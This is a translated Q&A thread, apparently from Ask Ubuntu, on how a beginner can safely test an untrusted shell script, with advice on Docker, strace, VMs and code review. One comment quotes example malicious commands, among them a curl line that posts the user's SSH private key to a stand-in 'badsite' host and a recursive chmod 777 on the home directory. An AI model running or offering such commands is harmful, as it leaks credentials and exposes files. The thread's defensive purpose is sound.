如何在“安全环境”中测试Shell脚本以避免对计算机造成伤害?


29

我想使用以下命令安装一个名为42FileChecker的bash脚本:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

但是我不知道42FileChecker.sh是否会在我的PC上做任何奇怪的事情,因为我是一个初学者,也不知道该脚本中正在发生什么。有没有一种方法可以在虚拟终端或虚拟根文件夹中运行它,或者类似的方法来查看发生的情况,从而避免出现诸如格式化驱动器之类的疯狂事情。即使42FileChecker.sh是安全的,我也想知道以任何方式测试外壳以用于将来的外壳脚本。


5
由于它是脚本,因此您可以阅读它,并阅读其中man包含的命令上的页面。
waltinator

1
请注意,由于代码托管在Git上,因此您可以阅读该工具的源代码。如果您不喜欢代码审查,那么通过在安全环境(沙盒,VM)中运行它来进行某种“动态”分析是您的第二选择
BlueCacti

4
@waltinator如果您担心的是恶意行为,而不仅仅是不想要的行为,那么阅读手册页将无济于事。

1
@Ray,仅当正在运行的命令本身是恶意的时,它们的手册页才会掩盖其真实的效果。我认为waltinator指的是恶意使用标准的命令,例如的更可能的情况下,chmod 777 -R ~curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa或相似。
通配符

1
相关的。你可以不冒任何伤害测试脚本您的计算机,它会教你的同事来锁定其会话。
Eric Duminil

Answers:


4

我不是专家,但是我建议使用stracedocker

因此,首先按照此答案中的说明创建一个Docker容器。但是,另外还有strace会告诉您进行了哪些系统调用。或引用:

strace是Linux的诊断,调试和说明性用户空间实用程序。它用于监视和篡改进程与Linux内核之间的交互,包括系统调用,信号传递和进程状态更改。

您可以结合使用这些命令来

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

因此,这将一步一步地遍历脚本的每一行,并且还将在容器内完成所有这些操作,这意味着所有命令对我的系统绝对不起作用,但将照常运行。我理解正确吗?
尼古拉斯

1
@nicholas是的,docker容器是为保护您的独立机器,该程序已沙盒化。Strace将为您提供应用程序对该计算机执行的所有操作,从打开文件到建立网络连接。
托马斯

1
是的,这正是我想要的,Strace与Docker相结合。
尼古拉斯

42

如果不确定脚本的功能,最好在确定脚本的功能之前不要运行它。减少不良脚本的破坏半径的方法包括使用新用户运行,在容器中运行或在虚拟机中运行。但是,第一个语句仍然成立:如果您不确定某件事是做什么的,请考虑在执行之前不要运行它。


6
另一方面,脚本就像EULA:是的,在出售自己的灵魂之前,您应该阅读并理解每一行,但是对吗?
彼得-

7
@ PeterA.Schneider,但EULA直到被告上法庭才真正采取任何行动。运行脚本会立即对您的计算机产生影响。阅读每一行并不是很多。它更多地是关于“信任信任的思考”以及了解和信任脚本的来源。
通配符

29

正如@ctt所说,最好先在某种沙箱中运行它。使用VM可能是最简单的解决方案。Multipass非常简单。

安装multipass(假设您还没有):

sudo snap install multipass --beta --classic

启动新的VM:

multipass launch --name myvm

登录到您的新VM:

multipass shell myvm

然后运行您的脚本(在虚拟机内部):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
这种方法是不安全的。在沙箱中运行脚本后,如何判断它是否安全?它可能会带来有害影响,您无法轻易地说出。恶意软件不一定会弹出并说“哈哈,明白了!”。此外,恶意脚本在沙盒或VM中时很容易以良性方式运行,然后在您的真实计算机上恶意运行。(例如,VM检测和机器指纹识别都是一样。)
DW

12
这是一个好点。如果要检查脚本中是否存在恶意软件,这不是有效的解决方案。这是一种测试功能而不污染主机系统的方法。
Ryan J. Yoder

您可以与“控制” VM进行全面比较。
mckenzm

6
@mckenzm:但是,如果它是恶意软件,则它很可能会选择不做任何事情,直到发现自己能够访问多汁的东西为止。
Henning Makholm

11

当您上学的学校已经发布了剧本时,表达您的疑虑的最佳位置是与您的老师交流。

也就是说,我们可以帮助您逐行解密代码。对于这里的任何人来说,分析所有代码可能都不切实际。

实际上,您有40个bash脚本,总共5360行。我将它们组合在一起,并寻找可能被滥用的bash / shell命令。它们似乎都可以正常使用

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • 没有rm -rf /命令擦除整个硬盘分区。
  • 没有sudo用于运行脚本的要求。
  • 该脚本实际上确保C在检查的文件中仅使用授权的功能。
  • 快速浏览bash / shell代码会发现它是专业编写的且易于遵循。
  • 在合并的包含文件上使用shellcheck只会显示三个语法错误。
  • 确定作者姓名,并且主要作者甚至在github页面上都有他的照片。
  • 尽管生活中没有保证,但42FileChecker似乎可以安全使用。

它不是人类可读的bash脚本,您需要担心的太多。它是引起您关注的无法阅读的已编译二进制对象。例如,一个名为“ shiny-bouncy-sphere”的程序可能会在屏幕上绘制类似的内容,但在后台它可能会擦除所有文件。


原始答案

最好询问脚本的作者。实际上,您几乎可以按原样张贴问题,就像上面显示的那样。

还要问作者:

  • 什么文件被更新?
  • 如果由于电源故障或程序错误而崩溃,该怎么办?
  • 可以先执行小型备份吗?

还有其他您可以想到的好问题。


编辑1-担心恶意作者。

您只应使用具有良好公众评价的软件。或者,您在此处信任Ask Ask Ubuntu的作者,例如Serge,Jacob,Colin King等。其他受尊敬的网站,如Ask Ubuntu及其受尊敬的成员,也应视为“非恶意”。

Ask Ubuntu中“受人尊敬的作者”的优势在于,他们将自己的价值押在“声誉点”上。如果他们有意编写“窃取”或“损坏”数据的代码,他们将很快失去声誉。确实,作者可能会遭受“ mods的愤怒”并被暂停和/或夺走10,000的声誉点。


编辑2-不要遵循所有指示

我对您的bash脚本说明进行了更深入的研究:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

“安全”方法仅运行第一行:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

这将下载脚本,但不会运行它们。下次使用nautilus(文件管理器)检查安装的目录和文件。很快,您就会发现法国一群学生编写的bash脚本集合。

脚本的目的是编译和测试C程序是否存在不正确的功能和内存泄漏。


1
我应该同意,但是我正在考虑作者可能故意进行恶意操作的情况。
尼古拉斯

1
@nicholas我通过修改答案回复了您的评论。
WinEunuuchs2Unix

2
我正在Ecole 42课程中学习C。我要执行的功能需要通过此规范检查。我需要在Ubuntu中安装42FileChecker才能运行此规范检查。我想我现在只需要信任此脚本,但是我首先需要知道如何对脚本进行“安全运行”,因为我不太擅长人工搜索。谢谢您的帮助。下次我将运行一个VM。
尼古拉斯

2
@nicholas ~/42FileChecker/includes/display/display_credits.sh国家norminette的工作的第24行是一个依赖项:norminette (42 born2code) http://www.42.fr。我昨晚读了这篇文章,这就是为什么我写这本书的原因是在法国出版的42FileChecker学校。到目前为止,从我浏览过的代码中,我都不必担心运行它。另外,它报告的语法错误很少shellcheck,对于5360行bash脚本而言,这是令人惊讶的。许多专业发布的bash脚本都有很多语法错误。
WinEunuuchs2Unix

2
@nicholas从安全角度来看,使用为该类提供的环境和脚本可能是最好的方法。它还消除了与官方课程版本不同的行为的可能性,这在交期时可能会感到惊讶。您确定没有远程访问此计算机的可能,可能是使用了园区提供的VPN服务或来自另一台可以远程访问的计算机的SSH?
trognanders

5

您可以使用Docker。Docker容器与主机OS隔离,因此,只要您不通过转发端口或挂载文件系统来明确释放它,任何恶意活动都将保留在容器内。

要安装docker:

sudo apt-get install docker.io

要下载新的Ubuntu Bionic容器:

docker pull ubuntu:bionic

之后,登录到容器

docker run -it ubuntu:bionic

并在其中执行躲避操作:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Docker有助于确定脚本功能的另一个好处是,您可以运行docker diff以查看自启动容器以来对文件系统进行了哪些更改。使用Docker的缺点是它不是主机系统的完整副本。您在此处提到的Ubuntu映像仅包含最小的Ubuntu安装。
马丁·海默斯

2
而不是docker run ubuntu您应该运行docker run -it ubuntu:bionic-it它在容器中为您提供了一个交互式终端,并且bionic实际上在运行您想要的版本而不是默认版本latest
马丁·海默斯

我喜欢这个答案,这是我见过的最好的答案。但是,似乎狡猾的脚本仍可能会滥用您的系统。它可以偷偷进行开采比特币等理想的人可能使用的其他标志--memory--network和也许别人真正锁定的脚本。
Emory

1
如果您真的很偏执,请将此答案与第二好的答案结合在一起。在虚拟机中运行docker,并锁定所有内容。
Emory

3

考虑通过以下方式运行脚本来使用调试模式:

$ bash -x scriptname

更多有用的Bash 信息

调试模式不会阻止脚本执行某些不良操作,但是它将使您逐行浏览脚本并检查效果。您可能还会检查脚本中是否存在一些常见的潜在错误和/或漏洞利用,例如,在脚本中搜索是否出现任何错误并rm非常仔细地查看这些命令。许多这类工具都内置在试图出来一些帮助,如RM不会在默认情况下删除一个目录,它需要的-r-R或者--recursive选择这样做。

甚至可能有一些类似于防病毒软件的工具会在bash脚本中搜索这些模式,但我不知道其名称。您的示例脚本在下载其他工具的意义上有点多余,因此也应检查每个工具。检查他们联系的服务器可能也值得。


-x可用于调试(我使用它!),但它不允许您逐行逐步执行脚本。当它全速执行脚本时,它将给您一种“跟踪”。
jrw32982

2

不幸的是,仅在您的评论中找到提供答案的相关信息:

我正在Ecole 42课程中学习C。我要执行的功能需要通过此规范检查。我需要在Ubuntu中安装42FileChecker才能运行此规范检查。

所以情况是,在实践中,你可以选择跳过过程中的选项,也可以运行该脚本对你的源代码进行规范性检查。由于缺少前任老师,与您的老师交谈几乎不是一种选择(无论如何,这是不可行的选择,因为一个学生对此不满意,所以没有学校会改变其程序)。
因此,甚至没有出现如何限制该脚本可能造成的损害的问题。有个大乳房的角质女孩通过电子邮件发送给您,这不是一个随机脚本,您需要运行该脚本才能看到她的照片
您正在上编程课。这个是该脚本起作用的地方。问题是您是否要符合成功完成课程的框架条件。

但是,如果您真的很担心,则仍然有可能在容器或虚拟机中运行脚本,并将源放置在共享文件夹中,或放置在容器/虚拟机公开的网络共享上。这几乎是完整的偏执狂路线,但是如今虚拟化实际上并没有那么复杂,因此它并不需要花费很多。

除非该脚本中包含真正严厉的利用的可能性不大,否则以任何非root用户身份登录(在Ubuntu上您几乎没有其他选择),并且避免 sudo无故键入几乎可以防止99%所有可能发生的坏事。例如格式化您担心的硬盘。普通用户无法做到这一点。最糟糕的是,脚本会删除用户的主目录。那么,没问题,真的。


希望OP在这里评论是否sudo需要运行脚本。+1
WinEunuuchs2Unix

避免sudo仅限制由于错误导致的意外删除/格式化的范围。如果脚本是恶意的或可利用的,则sudo在单个用户系统上运行该脚本没有本质区别。
另一个人

@ WinEunuuchs2Unix我不认为sudo是必要的。我真的不知道。虽然我一直使用sudo作为apt安装命令。这是否意味着我还需要使用它来运行脚本?
尼古拉斯

1
@nicholas我没有任何C语言程序可以编译和测试,42FileChecker因此我无法真正确定sudo是否需要。bash脚本不会检查sudo并告诉您使用它。它将出现,那sudo不是必需的。再一次,我认为问你的老师(老师)是最好的政策。一个小时前,我对脚本进行了一些分析,从而更新了答案。注意,名称“ mynorminette”再次出现在代码中。
WinEunuuchs2Unix

1
@nicholas我敢打赌有些教练本人也认识了norminette,yyang42,aleliever,anisg,QuentinPerez,gabkk,patorjk和Jean-Michel Gigault,他们都为此做出了贡献42FileChecker。我相信与讲师交谈会让您放心。经过几个小时的调查,我对程序员及其创作充满信心。Jean-Michel Gigault甚至在github上都有他的照片。这对黄背心种子生长的土地充满信心。法国万岁!(和Ecole 42 :))帮我们一个忙,顺便提供最新进展。
WinEunuuchs2Unix
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.